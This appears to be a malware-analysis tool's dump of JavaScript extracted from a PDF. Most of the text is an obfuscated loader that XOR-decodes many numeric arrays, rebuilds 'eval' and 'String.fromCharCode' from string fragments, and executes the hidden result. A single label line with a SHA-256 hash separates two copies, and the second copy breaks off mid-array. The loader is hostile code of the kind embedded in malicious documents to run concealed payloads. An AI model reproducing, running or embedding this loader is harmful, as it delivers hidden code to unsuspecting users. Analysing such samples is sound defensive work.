,46,46,46,46,89,106,58,66,61,107,95,108,72,105,95,96,51,62,53,46,46,46,46,104,97,124,46,38,71,64,84,87,91,97,116,104,62,51,62,53,46,71,64,84,87,91,97,116,104,62,50,116,119,118,108,121,94,60,65,60,93,124,105,54,53,46,71,64,84,87,91,97,116,104,62,37,37,39,46,46,46,46,46,117,46,46,46,46,46,46,46,46,104,97,124]; Z50M95c3=[106,98,12,2,126,3,48,127,57,114,120,119,122,113,106,12,2,126,3,48,127,57,114,120,118,9,126,122,124,36,28,32,28,17,26,51,125,38,14,24,39,123,122,23,113,106,12,2,126,3,48,127,57,114,120,97,97,99,106,106,106,106,106,106,106,106,106,49,106,106,106,106,106,106,36,127,18,0,50,18,127,119,29,46,126,6,121,47,27,40,12,45,27,36,97,12,2,126,3,48,127,57,114,120,113,106,106,106,106,106,106,106,106,106,106,106,106,37,7,7,125,62,50,127,119,57,3,31,15,11,32,121,122,39,17,36,127,18,0,50,18,127,23,113,106,106,106,106,106,106,106,106,106,106,106,106,48,114,38,50,18,119,36,127,18,0,50,18,127,97,9,126,122,124,36,28,32,28,17,26,51,125,38,14,24,39,123,122,23,113,106,106,106,106,106,106,106,106,106,106,106,106,57,3,31,15,11,32,121,122,39,17,36,127,18,0,50,18,127,23,119,57,3,31,15,11,32,121,122,39,17,48,114,38,50,18,23,113,106,106,106,106,106,106,106,106,106,106,106,106,57,3,31,15,11,32,121,122,39,17,48,114,38,50,18,23,119,37,7,7,125,62,50,127,113,106,106,106,106,106,106,106,106,106,106,55,106,106,106,106,106,106,106,106,29,46,126,6,121,47,27,40,12,45,27,36,106,97,119,28,58,26,120,120,125,62,27,127,48,113,106,106,106,106,106,106,106,106,106,55,106,106,55,106,106,38,3,59,29,115,36,120,62,119,57,3,31,15,11,32,121,122,39,100,32,37,35,36,98,104,104,99,113,47,60,43,38,98,38,3,59,29,115]; H1Vv1=[115,47,105,52,38];  EBKMH=[]; 
for (l2taKB=0;l2taKB<S7aECkq1NF35.length;l2taKB++){S7aECkq1NF35[l2taKB]=S7aECkq1NF35[l2taKB]^26;}; EBKMH=EBKMH.concat(S7aECkq1NF35);for (x0iVg=0;x0iVg<HNsdmN.length;x0iVg++){HNsdmN[x0iVg]=HNsdmN[x0iVg]^98;}; EBKMH=EBKMH.concat(HNsdmN);for (lBVzD=0;lBVzD<z9YfFz6Cj.length;lBVzD++){z9YfFz6Cj[lBVzD]=z9YfFz6Cj[lBVzD]^62;}; EBKMH=EBKMH.concat(z9YfFz6Cj);for (U317V5ZpQ=0;U317V5ZpQ<p1F6to.length;U317V5ZpQ++){p1F6to[U317V5ZpQ]=p1F6to[U317V5ZpQ]^17;}; EBKMH=EBKMH.concat(p1F6to);for (I3MGb7=0;I3MGb7<Z5PaOV165dv.length;I3MGb7++){Z5PaOV165dv[I3MGb7]=Z5PaOV165dv[I3MGb7]^48;}; EBKMH=EBKMH.concat(Z5PaOV165dv);for (R0y1bXjzq=0;R0y1bXjzq<x9sL8gQw.length;R0y1bXjzq++){x9sL8gQw[R0y1bXjzq]=x9sL8gQw[R0y1bXjzq]^83;}; EBKMH=EBKMH.concat(x9sL8gQw);for (m23NDE=0;m23NDE<fw0483q.length;m23NDE++){fw0483q[m23NDE]=fw0483q[m23NDE]^77;}; EBKMH=EBKMH.concat(fw0483q);for (FCoNv02dp=0;FCoNv02dp<Qsd74o4x.length;FCoNv02dp++){Qsd74o4x[FCoNv02dp]=Qsd74o4x[FCoNv02dp]^37;}; EBKMH=EBKMH.concat(Qsd74o4x);for (j19CDIgs=0;j19CDIgs<iWWMn5kF.length;j19CDIgs++){iWWMn5kF[j19CDIgs]=iWWMn5kF[j19CDIgs]^91;}; EBKMH=EBKMH.concat(iWWMn5kF);for (HdGzzbldh=0;HdGzzbldh<aih0RYq.length;HdGzzbldh++){aih0RYq[HdGzzbldh]=aih0RYq[HdGzzbldh]^90;}; EBKMH=EBKMH.concat(aih0RYq);for (DPk9=0;DPk9<sLA7b2D230.length;DPk9++){sLA7b2D230[DPk9]=sLA7b2D230[DPk9]^17;}; EBKMH=EBKMH.concat(sLA7b2D230);for (j9iX=0;j9iX<eK25Q685So6gvM.length;j9iX++){eK25Q685So6gvM[j9iX]=eK25Q685So6gvM[j9iX]^17;}; EBKMH=EBKMH.concat(eK25Q685So6gvM);for (w2CXj7=0;w2CXj7<c024oEe9pyevh0W.length;w2CXj7++){c024oEe9pyevh0W[w2CXj7]=c024oEe9pyevh0W[w2CXj7]^92;}; EBKMH=EBKMH.concat(c024oEe9pyevh0W);for (YG339GO=0;YG339GO<x03k78uFG46AeK.length;YG339GO++){x03k78uFG46AeK[YG339GO]=x03k78uFG46AeK[YG339GO]^87;}; EBKMH=EBKMH.concat(x03k78uFG46AeK);for (ZwS5=0;ZwS5<yY6fh.length;ZwS5++){yY6fh[ZwS5]=yY6fh[ZwS5]^12;}; EBKMH=EBKMH.concat(yY6fh);for (mJnQ1Suw=0;mJnQ1Suw<nB9lpd6.length;mJnQ1Suw++){nB9lpd6[mJnQ1Suw]=nB9lpd6[mJnQ1Suw]^11;}; EBKMH=EBKMH.concat(nB9lpd6);for (DpUh=0;DpUh<r2n12tjap5FT2.length;DpUh++){r2n12tjap5FT2[DpUh]=r2n12tjap5FT2[DpUh]^60;}; EBKMH=EBKMH.concat(r2n12tjap5FT2);for (d7wYkdq=0;d7wYkdq<C09h7BTnP.length;d7wYkdq++){C09h7BTnP[d7wYkdq]=C09h7BTnP[d7wYkdq]^59;}; EBKMH=EBKMH.concat(C09h7BTnP);for (M4KsQm97Q=0;M4KsQm97Q<bq23q7thwC1Q738.length;M4KsQm97Q++){bq23q7thwC1Q738[M4KsQm97Q]=bq23q7thwC1Q738[M4KsQm97Q]^14;}; EBKMH=EBKMH.concat(bq23q7thwC1Q738);for (Ov257gQ=0;Ov257gQ<Z50M95c3.length;Ov257gQ++){Z50M95c3[Ov257gQ]=Z50M95c3[Ov257gQ]^74;}; EBKMH=EBKMH.concat(Z50M95c3);for (EB7u4vAm=0;EB7u4vAm<H1Vv1.length;EB7u4vAm++){H1Vv1[EB7u4vAm]=H1Vv1[EB7u4vAm]^29;}; EBKMH=EBKMH.concat(H1Vv1);
 NgGTie4=function(ed6XB8){
	Eqr5j7tW6Y=["e","m","v","n","a","d","x","l"];
	zhzfRqWF=Eqr5j7tW6Y[0]+Eqr5j7tW6Y[2]+Eqr5j7tW6Y[4]+Eqr5j7tW6Y[7];
	rorar=this;
	o1fp =rorar[zhzfRqWF];
	o1fp(ed6XB8);
}
E97mkc=function(FnaAQDENWi){
	fktIfe="";
	KF5i1YIPvv=["dd","fjdk","fro","mChar","Co","dk","eee","de"];
	ThmM27=KF5i1YIPvv[2]+KF5i1YIPvv[3]+KF5i1YIPvv[4]+KF5i1YIPvv[7];
	for (XKevnot77=0;XKevnot77<FnaAQDENWi.length;XKevnot77++){
	    gogor=this;
		roter=gogor["St"+"ri"+"ng"];
		fktIfe += roter[ThmM27](FnaAQDENWi[XKevnot77]);
	}
	
	return fktIfe;	
}
NgGTie4(E97mkc(EBKMH));
deobfuscated.js deobfuscated-js PDF JavaScript deobfuscation pass 124734 bytes
SHA-256: 8145f76406fd23d7f18e88c7ba79da96e4fd638ad4a7028b0766064fc2632cb0
Preview script
First 1,000 lines of the extracted script
S7aECkq1NF35=[58,108,123,104,58,118,83,107,77,35,116,40,110,39,56,115,52,51,118,116,116,105,58,58,106,121,58,111,69,104,124,58,117,98,127,127,110,50,99,115,116,123,58,54,115,99,97,99,104,124,40,127,114,38,49,109,114,33,118,48,110,118,123,116,97,104,105,106,50,106,52,115,116,99,106,127,99,115,118,105,105,39,50,42,104,33,127,110,123,99,125,51,39,121,105,111,103,106,105,123,104,40,104,106,123,116,116,104,51,110,54,118,110,99,123,125,111,104,105,120,104,103,53,105,108,115,105,116,116,97,117,126,51,50,104,106,58,106,124,127,58,58,118,123,33,116,116,118,110,110,104,115,123,58,39,111,126,104,117,121,46,127,63,114,127,111,63,58,50,116,106,70,56,41,111,127,111,105,42,63,42,89,111,41,46,63,123,127,41,121,89,63,88,111,105,34,88,46,111,91,111,63,111,42,111,63,34,34,88,63,42,63,88,44,111,42,42,34,89,46,111,47,35,45,34,34,94,46,42,45,94,41,42,63,46,42,89,34,91,63,91,43,42,45,88,63,111,46,111,42,43,63,34,34,89,34,89,63,111,63,111,95,111,47,88,44,46,47,111,63,111,63,34,63,88,40,91,46,40,94,111,63,88,63,88,34,92,95,40,41,88,47,111,63,111,47,89,95,41,63,40,95,111,95,111,41,46,34,111,34,89,95,35,45,111,34,111,63,111,47,91,63,47,45,88,47,45,47,111,42,44,63,41,47,111,34,88,63,44,92,111,63,41,63,88,63,111,63,44,63,46,47,34,34,41,89,111,41,42,63,41,45,111,46,42,92,35,45,111,63,41,63,95]; HNsdmN=[81,23,32,23,82,23,71,84,71,81,82,86,71,91,87,23,86,23,71,81,80,23,82,81,71,38,82,23,83,80,71,84,81,83,71,81,36,90,36,36,36,36,35,23,81,38,71,32,33,23,82,83,71,23,85,36,82,82,71,35,82,81,39,32,33,23,71,23,81,23,86,86,71,90,81,90,90,23,71,36,39,23,71,90,82,87,87,23,90,32,71,23,71,87,86,84,36,84,84,86,71,23,87,32,39,33,71,86,85,39,82,23,33,23,90,23,83,35,82,33,86,32,90,90,71,23,33,81,80,23,82,81,38,81,90,23,71,23,71,81,71,32,85,38,82,38,33,81,71,81,87,84,87,23,71,90,71,81,82,23,71,85,33,23,87,32,71,36,71,90,71,23,32,35,87,23,90,82,87,39,81,35,87,23,81,23,71,80,71,82,35,32,33,90,87,23,90,23,71,81,71,23,36,80,39,80,36,23,71,36,90,36,36,80,71,36,71,23,35,23,91,39,35,85,32,90,71,90,84,23,36,87,84,23,86,39,36,90,71,32,85,23,84,23,80,23,71,87,71,23,71,82,71,36,84,33,71,23,71,84,71,23,71,23,71,32,91,90,87,35,71,84,32,23,71,82,84,90,84,36,80,87,35,23,84,86,71,39,84,86,82,23,90,23,39,82,85,36,71,86,84,33,90,90,85,23,87,39,84,23,36,39,87,38,86,33,71,23,71,39,84,23,71,80,32,87,82,90,71,82,84,23,71,82,71,87,81,82,87,81,71,84,91,39,87,32,71,86,39,82,82,23,71,23,87,23,33,23,90,81,87,23,87,36,82,23,32,23,90,23,33,81,81]; z9YfFz6Cj=[13,13,75,27,14,27,12,27,12,11,6,9,14,11,75,27,12,6,8,125,120,12,120,27,15,11,75,15,124,11,120,13,6,27,13,11,10,9,11,120,75,6,75,120,120,27,127,11,75,7,75,27,75,27,123,27,8,124,6,120,75,123,75,27,75,27,9,27,75,124,14,27,127,120,75,27,123,27,6,14,75,27,123,27,10,27,75,8,10,11,120,11,11,27,9,120,10,125,75,12,14,14,14,123,12,9,7,9,75,12,75,14,75,8,120,27,75,27,120,9,10,13,11,9,127,27,120,11,75,27,6,27,11,8,75,9,14,27,13,9,75,27,13,12,123,9,122,8,75,8,75,9,13,27,11,9,75,8,10,27,75,9,120,27,120,27,15,8,15,8,120,8,75,8,75,27,75,12,75,27,10,9,14,27,10,27,123,9,75,12,123,8,125,13,75,8,6,9,123,12,120,8,125,12,14,9,120,27,13,8,120,9,120,27,11,8,120,13,14,27,75,8,75,8,9,98,28,10,9,122,9,8,27,92,27,75,9,75,8,14,11,123,8,75,30,93,27,10,27,85,95,22,30,14,9,75,30,91,27,14,93,75,82,78,8,76,95,3,77,23,91,81,5,14,93,72,14,75,80,27,95,5,112,98,28,75,109,75,14,75,125,93,27,76,109,93,14,93,95,93,88,121,122,95,30,23,89,98,28,71,72,93,120,75,95,14,27,114,108,75,14,68,14,93,14,98,28,100,30,22,95,27,77,27,80,113,75,14,30,14,93,14,75,27,93,3,93,75,93,14,93,14,15,14,91,91,93,78,93,14,91,14,75,14,75,27,93,14,93,10,93,27,6]; p1F6to=[37,100,36,100,52,114,52,36,33,114,33,114,37,114,52,37,39,100,52,119,52,41,33,100,38,40,52,117,39,100,37,112,52,100,52,34,37,100,37,116,36,100,37,35,37,115,52,115,37,100,39,100,38,100,39,40,36,32,52,40,36,100,39,39,37,32,52,100,38,40,37,100,52,40,52,37,38,100,38,117,52,100,52,112,38,117,36,32,37,35,52,35,52,112,39,100,36,116,37,119,52,100,39,112,52,115,52,35,37,100,37,116,52,34,39,36,39,32,39,100,52,100,52,33,52,100,37,100,52,100,52,39,37,100,39,100,37,34,36,100,52,32,36,100,36,34,37,34,37,35,52,117,36,38,38,37,38,100,36,100,52,39,114,125,36,34,36,126,77,51,101,125,35,52,38,39,102,36,32,42,38,121,122,38,56,125,115,63,116,118,120,38,34,35,33,57,114,45,49,114,114,114,127,39,122,44,41,122,115,49,58,114,115,56,44,116,126,99,122,125,98,125,115,126,125,121,122,115,60,61,116,42,49,114,33,44,120,125,126,63,125,49,125,63,101,35,38,121,118,121,126,100,56,102,115,57,98,104,116,118,124,98,49,125,127,104,44,116,99,120,34,127,99,39,41,127,105,126,120,49,44,56,124,42,57,58,126,117,33,33,101,80,112,33,33,120,49,99,42,116,57,56,116,119,58,42,126,122,74,99,49,33,114,126,117,120,124,115,76,44,121,116,42,126,49,116,114,35,125,125,49,116,99,126,42,104,125,58,124,106,45,98,127,83,112,68,117,97,88,108,120,127,99,57,63,97,107,125,100,101,125,75,121,120,123,69,65,102,73,101,114,99,124]; Z5PaOV165dv=[87,116,104,108,18,108,18,120,74,28,25,115,84,30,16,115,64,99,91,116,16,68,68,82,86,99,72,83,85,66,92,94,11,126,69,89,127,25,91,121,68,106,95,126,81,108,18,119,71,24,71,85,89,64,84,68,69,123,93,96,24,89,119,85,94,86,65,104,89,93,119,99,122,97,95,123,70,105,28,92,126,68,116,125,123,90,75,81,94,16,73,25,94,87,24,16,86,85,92,89,88,108,18,68,11,84,16,68,89,25,126,67,96,94,66,126,30,81,119,92,83,93,85,88,11,71,92,73,69,25,81,77,85,77,30,83,84,68,16,64,69,16,75,94,85,68,24,89,81,28,81,66,127,87,89,24,16,115,85,124,66,71,30,68,69,73,98,116,85,85,25,24,16,92,81,74,94,99,81,25,94,116,24,94,89,94,81,69,68,99,106,89,126,86,68,64,86,84,118,83,64,77,92,111,13,69,25,64,85,68,16,66,75,73,81,3,68,95,11,86,24,89,16,69,81,94,114,4,95,25,92,8,69,0,4,83,81,85,0,3,94,70,69,21,3,21,81,115,0,6,0,24,69,21,108,18,4,0,21,67,66,69,7,69,21,69,0,114,0,8,21,116,113,69,8,115,5,69,21,114,1,69,0,0,21,69,7,115,8,115,21,69,4,8,5,114,8,69,117,8,7,8,21,113,8,115,21,9,4,4,8,69,21,69,8,114,117,2,21,0,4,1,6,69,21,69,2,0,21,115,21,115,5,114,3,114,116,116,21,2,21,114,117,113,117,69,3,4,8,113,21,69,8,113,5,2,117,69,117,69,21,118,21,114,21,9,21,69,21,3,4,69,21]; x9sL8gQw=[38,102,17,100,103,118,38,107,101,102,100,102,38,102,38,118,96,107,101,118,16,96,102,102,17,100,38,96,17,99,96,107,103,102,99,21,96,118,38,97,101,99,99,118,96,100,38,103,96,107,101,100,38,118,38,118,96,96,96,21,38,99,38,118,96,118,107,118,21,16,38,102,38,18,23,21,106,118,17,118,38,96,101,99,38,118,38,96,103,103,21,118,38,21,96,99,106,118,98,99,38,103,38,118,38,17,22,99,38,96,38,22,107,96,97,99,23,98,96,22,38,100,107,102,22,118,21,118,99,21,38,118,103,102,98,118,18,16,17,100,38,16,38,16,21,118,17,118,38,99,103,118,38,21,107,107,102,118,101,103,17,101,107,103,38,97,101,99,38,118,102,107,17,118,96,22,17,107,38,118,38,118,107,102,96,118,38,107,38,23,38,107,38,118,96,118,99,99,96,16,18,99,101,102,16,99,16,100,23,102,103,98,100,107,96,102,97,118,96,102,107,17,21,102,96,118,38,118,18,118,96,16,21,118,38,118,17,96,38,118,38,18,17,118,21,118,107,118,97,16,22,102,38,99,38,118,107,118,23,118,21,22,18,21,38,118,38,21,17,107,97,21,38,18,100,101,99,118,38,96,107,21,38,17,97,16,101,118,38,103,22,101,22,17,38,118,102,100,107,101,38,21,38,118,99,118,38,118,107,18,101,101,38,18,102,106,17,97,21,107,38,106,97,97,38,22,16,101,17,107,21,118,99,101,107,101,18,118,107,101,38,101,38,118,38,102,103,101,38,118,38,118,22,99,22,118,38,101,38,107,38,118,23,99,22,118,99,118,38,102,38,103,38]; fw0483q=[122,117,14,125,122,117,120,56,15,11,120,120,104,14,11,56,117,14,120,123,123,8,116,121,104,125,14,8,14,121,120,56,8,125,125,127,104,120,117,124,104,121,120,15,120,56,104,126,104,126,104,126,104,120,104,56,126,56,104,56,104,125,104,56,104,117,15,127,122,126,120,56,104,125,120,11,127,11,120,56,11,127,126,11,104,56,124,121,126,123,117,125,122,11,104,117,104,56,120,122,125,56,104,15,120,56,116,56,11,12,104,120,104,11,117,117,11,8,120,56,15,126,104,122,104,120,126,8,120,56,11,56,125,11,14,12,123,8,120,121,104,11,104,121,104,56,120,125,125,56,104,117,15,56,104,56,104,123,11,56,122,56,104,56,8,125,127,56,8,56,104,121,104,117,104,12,122,11,126,56,123,120,122,125,125,121,104,56,123,126,123,127,122,56,127,11,122,120,123,126,122,8,123,125,104,116,127,56,127,121,104,56,123,126,123,8,122,56,104,11,104,56,122,8,122,120,127,56,104,9,122,121,104,124,122,56,122,56,104,56,123,11,123,121,104,11,123,56,123,14,123,56,104,125,123,56,127,11,104,56,127,11,123,11,104,56,123,121,123,124,122,56,122,8,126,121,104,11,122,9,104,117,126,126,122,56,104,56,122,125,118,59,104,14,122,126,120,56,104,56,44,11,104,61,40,123,56,61,122,125,123,125,104,15,12,125,12,124,123,100,123,125,112,104,104,56,56,125,123,104,34,101,44,125,12,46,35,63,17,111,104,109,40,12,125,62,61,12,35,56,56,63,104,61,125,37,118,12,17,111,100,125,17,111,44,44,34,47,125,59,46,35,125]; Qsd74o4x=[80,73,85,21,74,64,100,5,100,14,83,21,64,80,78,24,75,71,92,64,65,5,74,78,80,73,73,68,66,121,7,121,7,30,70,13,68,85,87,68,24,76,100,30,24,68,71,64,100,0,100,23,83,68,86,21,87,74,100,0,12,64,95,24,86,70,87,68,80,65,64,5,68,30,85,21,87,21,21,74,70,87,14,77,86,76,64,5,77,87,64,64,76,85,77,71,83,68,66,76,68,68,11,73,92,81,73,78,11,77,71,65,64,64,64,73,86,30,66,75,95,66,74,76,64,73,76,81,24,71,70,78,73,13,86,71,82,25,78,85,71,74,77,68,94,73,92,14,87,75,74,70,66,12,77,66,76,80,76,73,78,30,71,71,88,73,76,73,73,78,78,83,71,70,70,13,74,74,81,11,73,67,5,71,24,87,5,68,70,71,68,71,87,70,21,78,86,73,24,87,74,86,66,12,30,74,86,80,71,87,71,76,76,85,73,13,71,11,81,75,66,66,78,78,86,70,73,8,92,9,66,83,68,9,30,75,13,71,21,73,76,86,11,71,76,66,73,12,86,71,70,85,77,68,87,81,64,87,77,74,71,75,73,64,66,93,77,74,70,76,21,75,70,14,11,68,86,85,21,73,87,25,21,78,73,82,92,71,17,12,66,74,24,81,94,21,64,78,92,21,70,87,72,5,14,71,83,71,70,68,73,67,14,71,82,78,73,78,73,68,72,74,70,78,73,64,30,74,87,73,75,122,76,88,76,74,92,87,87,25,68,30,14,13,67,74,87,64,92,5,21,64,100,24,92,126,87,68,12,76,83,17,70,68,30,5,20,77,64,21,30,71,12]; iWWMn5kF=[102,58,115,41,4,98,96,41,112,54,58,107,52,56,123,50,32,53,98,54,48,55,58,43,58,54,41,112,6,41,105,102,38,98,52,50,99,98,57,55,48,99,98,99,99,99,98,98,46,98,98,45,98,99,99,99,98,98,98,99,98,98,99,98,102,99,99,98,98,106,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,99,111,47,99,99,99,47,99,114,50,115,41,55,117,43,99,99,53,126,53,110,99,50,107,119,46,96,107,46,99,107,7,121,99,61,99,54,50,46,58,58,61,7,121,50,55,38,55,56,123]; aih0RYq=[47,63,62,60,59,53,54,63,122,46,5,40,33,44,52,97,55,53,57,57,24,52,57,98,54,41,103,108,59,42,106,54,63,56,52,53,41,127,47,109,114,115,47,105,50,25,106,110,47,127,47,63,106,63,110,109,106,105,24,106,105,127,25,114,6,120,98,47,127,98,127,98,107,47,127,30,31,47,106,24,127,25,127,25,127,47,111,99,110,47,98,106,98,24,106,24,27,47,98,47,127,24,127,98,105,25,111,106,98,47,106,47,127,98,127,47,109,24,110,110,110,47,127,106,105,25,98,110,127,30,127,47,111,47,111,104,31,27,31,27,127,104,104,47,110,24,98,47,30,27,108,25,127,24,31,47,111,47,31,47,127,24,127,47,127,108,127,107,109,108,127,47,127,104,127,47,127,47,127,105,106,110,111,99,127,28,31,47,127,27,111,109,106,24,105,105,98,47,110,24,127,105,98,108,106,47,98,47,111,111,109,105,127,99,111,105,109,110,105,47,25,105,98,47,105,25,111,105,104,105,127,47,127,108,109,47,127,98,98,99,110,24,127,105,28,47,127,28,127,110,27,107,105,30,127,28,111,106,28,31,127,105,28,108,106,47,127,47,107,47,105,47,24,106,110,47,106,110,109,47,28,47,106,47,28,98,110,98,25,47,127,98,127,104,127,107,28,27,109,105,106,47,127,30,105,106,25,24,31,24,127,28,31,47,31,111,104,28,111,105,127,31,106,111,111,98,98,47,98,47,105,98,127,24,110,47,25,47,127,47,127,108,127,110,106,105,108,47,106,47,127,47,127,108,127,47,106,27,127,24,110,47,127,24,127,105,106,47,127,25,127,108,127]; sLA7b2D230=[100,41,87,41,34,32,83,52,82,33,33,41,100,36,85,36,37,85,35,82,80,36,100,33,100,36,100,36,34,52,100,52,38,36,34,38,41,41,85,52,41,82,100,52,84,52,34,41,100,83,87,52,34,83,100,52,80,80,41,87,35,87,100,36,100,34,87,52,38,87,100,87,35,52,100,82,87,52,84,52,39,84,83,39,87,41,100,80,100,52,100,80,100,52,35,35,84,52,41,52,33,34,100,39,83,37,41,41,100,40,33,87,39,82,83,36,33,39,41,84,36,52,33,39,36,39,37,52,36,38,80,39,83,52,100,39,100,83,35,52,41,40,41,39,84,52,100,52,100,80,100,39,82,39,41,38,100,52,100,52,84,52,41,39,82,33,82,38,100,52,84,52,87,83,84,41,87,35,85,87,100,52,100,84,84,36,36,52,37,39,100,37,100,36,33,36,100,36,36,33,33,41,100,36,100,52,100,40,37,52,34,38,39,36,33,36,100,82,33,52,83,34,100,33,35,52,34,82,100,52,35,52,37,52,100,52,32,52,34,34,87,36,34,38,100,82,36,52,35,36,100,33,41,32,87,41,100,52,87,52,41,35,100,83,100,41,100,52,33,52,84,34,41,52,33,36,100,87,100,52,39,83,100,87,80,52,83,36,100,40,84,52,38,34,37,52,34,87,36,33,87,82,38,36,100,36,41,52,37,33,100,84,37,52,100,87,39,83,33,52,84,36,87,87,33,36,100,52,100,41,100,84,87,52,80,33,41,39,100,52,87,39,100,52,36,38,37,38,100,34,34,52,100,52,37,39,34,39,87,38,87,52,100,36,80,38,40,52,84,38,33,35,100]; eK25Q685So6gvM=[38,100,38,100,38,84,39,33,35,84,38,32,52,100,38,35,35,100,39,36,38,34,39,100,52,100,52,36,52,37,35,87,39,33,39,87,52,87,35,85,39,100,52,37,52,37,39,100,52,87,38,100,35,33,52,87,52,82,52,100,39,41,38,100,38,37,39,87,35,33,39,100,38,100,52,32,52,37,38,39,39,87,38,100,39,100,52,84,52,100,34,33,34,34,39,100,52,82,39,85,38,33,52,33,52,100,39,100,99,103,44,87,39,99,49,83,112,99,38,99,78,102,39,32,36,124,112,127,116,104,49,124,42,56,52,112,77,51,114,33,103,99,34,49,44,116,99,112,80,99,99,33,44,112,103,33,114,42,114,33,104,57,33,125,56,114,114,49,117,37,33,42,116,112,105,116,116,33,44,125,105,49,99,33,114,114,35,112,125,33,98,125,103,33,125,116,112,117,99,59,33,127,121,127,103,101,58,116,114,42,63,44,78,126,127,49,117,56,78,98,112,112,41,57,44,125,117,33,116,127,49,99,118,34,112,100,98,42,105,99,42,104,98,97,127,114,112,103,60,117,121,99,100,125,119,98,33,57,104,116,112,112,77,51,40,116,40,98,97,98,40,100,127,97,52,33,77,51,33,44,56,114,99,52,112,120,44,42,33,49,57,78,114,33,105,112,33,126,99,40,116,99,56,35,114,117,61,104,103,112,120,127,62,33,100,37,101,101,33,97,105,42,114,33,100,127,103,57,119,42,101,42,112,114,42,56,99,57,33,127,114,114,60,112,126,78,117,126,100,126,100,35,127,126,33,49,99,58,114,127,124,45,99,99,99,126,101,44,112,112,117,104,44]; c024oEe9pyevh0W=[51,117,41,63,57,40,7,42,48,47,39,37,50,48,46,40,44,41,40,119,33,49,1,119,51,63,103,58,63,52,57,61,43,103,48,46,46,51,57,41,124,97,47,50,0,126,63,41,41,108,0,126,121,57,57,47,42,63,48,59,61,51,50,53,108,117,40,57,96,57,108,104,121,63,116,51,46,43,117,57,116,39,104,63,52,51,51,58,105,42,108,101,44,52,40,52,43,46,58,114,48,48,42,57,119,15,58,31,48,43,103,46,51,43,51,48,51,51,48,110,57,33,51,51,48,61,53,57,57,47,114,97,62,48,97,42,58,54,51,63,46,50,40,112,116,114,63,61,49,41,48,48,21,39,53,0,126,40,25,102,51,62,48,0,126,48,57,42,57,63,62,61,47,47,40,33,48,117,58,53,59,48,51,63,51,46,50,3,51,102,33,41,44,61,40,53,51,63,103,50,49,48,58,48,59,114,124,43,114,51,62,31,59,57,50,57,51,63,63,39,51,44,62,61,37,58,50,46,46,116,48,61,43,51,61,46,117,61,53,42,42,52,39,41,40,56,116,57,114,61,50,57,40,63,124,97,29,117,46,61,61,21,63,44,50,46,97,103,37,57,47,116,44,124,37,124,41,116,42,111,57,42,100,106,117,31,46,121,41,108,104,108,108,121,41,111,111,61,108,107,41,121,108,104,108,121,30,100,41,100,0,126,104,31,121,41,121,30,121,31,104,41,100,30,108,41,121,101,107,30,109,100,121,41,108,41,121,108,100,108,105,108,121,41,100,31,121,24,111,41,104,31,29,29,100,30,107,104,105,100,121,24,100,100,104,104,121,41,105,30,25,30,25]; x03k78uFG46AeK=[101,114,22,100,102,97,34,98,34,19,34,114,22,114,20,18,21,114,34,114,21,114,21,96,34,114,34,114,101,18,34,114,98,18,101,114,34,101,34,98,34,18,97,98,20,103,17,111,22,114,110,114,100,99,99,103,34,111,34,96,21,114,100,98,97,98,99,111,34,98,34,96,21,114,96,114,20,100,34,114,111,100,100,114,34,111,34,111,97,98,103,101,110,96,97,114,34,111,103,99,100,114,100,99,21,17,100,17,34,114,100,100,102,100,100,103,34,114,34,103,34,114,34,114,101,114,34,100,34,98,34,17,34,103,34,114,18,103,99,17,34,20,100,20,34,22,17,102,100,114,99,20,19,99,110,96,34,98,111,17,21,21,97,103,17,114,19,17,34,18,100,103,17,114,17,18,98,100,111,98,98,114,103,114,111,114,34,97,34,18,102,100,34,114,21,114,18,114,34,101,22,99,34,114,34,114,99,111,97,114,34,114,21,114,100,111,34,99,111,20,21,103,34,103,111,102,100,111,20,114,97,96,21,114,111,98,100,103,100,98,20,114,17,103,99,19,34,114,34,98,34,114,19,114,100,111,22,103,34,114,97,20,21,20,103,114,34,111,96,111,18,114,22,98,101,114,34,98,100,96,100,114,111,111,101,103,19,114,34,114,100,17,21,100,34,17,34,98,34,114,21,114,111,21,18,98,34,17,34,21,34,97,22,114,34,114,17,18,34,114,34,20,17,101,34,22,34,114,34,22,17,97,17,111,103,17,34,100,111,97,101,20,21,22,101,17,96,22,21,18,103,21,97,96,18,97,98,99,34,97,34,114,111,114,111,114,97,114,34,110,98,111,34]; yY6fh=[41,121,41,52,53,73,58,121,58,79,59,121,41,74,57,73,41,73,58,60,58,77,62,121,59,56,57,79,41,121,58,60,41,121,58,121,57,52,41,56,41,62,52,57,60,121,60,56,57,121,41,73,56,121,78,121,58,52,79,60,41,52,73,60,74,63,63,72,53,57,41,57,41,79,57,58,41,121,41,73,41,60,59,121,79,74,57,56,41,121,60,62,57,60,41,121,41,78,57,63,41,121,62,121,63,63,79,62,41,63,41,61,52,121,60,121,52,121,41,52,41,74,57,62,57,121,41,121,41,77,59,74,57,74,41,56,74,121,63,57,61,58,41,121,78,60,52,60,63,74,57,77,78,59,41,63,74,73,60,78,57,121,57,74,57,121,41,52,41,73,53,52,74,52,41,121,52,58,74,57,41,121,41,73,57,121,41,121,74,121,60,121,79,121,41,60,41,60,78,56,73,59,41,121,60,74,59,74,41,52,59,56,59,121,58,121,59,56,58,53,73,74,62,121,58,121,58,56,41,121,41,77,59,60,59,121,57,57,59,73,41,121,41,63,58,61,62,121,59,62,63,121,62,57,58,60,41,56,59,74,59,63,41,121,58,56,62,57,41,121,58,74,41,73,59,121,41,63,58,56,41,73,62,121,59,72,59,74,41,121,41,60,41,72,63,121,58,74,58,121,41,52,62,61,58,56,41,121,62,121,41,79,59,74,58,74,41,121,58,74,41,74,59,121,59,79,58,61,59,60,63,60,58,56,80,46,60,59,73,58,63,41,121,58,126,59,60,55,78,41,74,58,63,5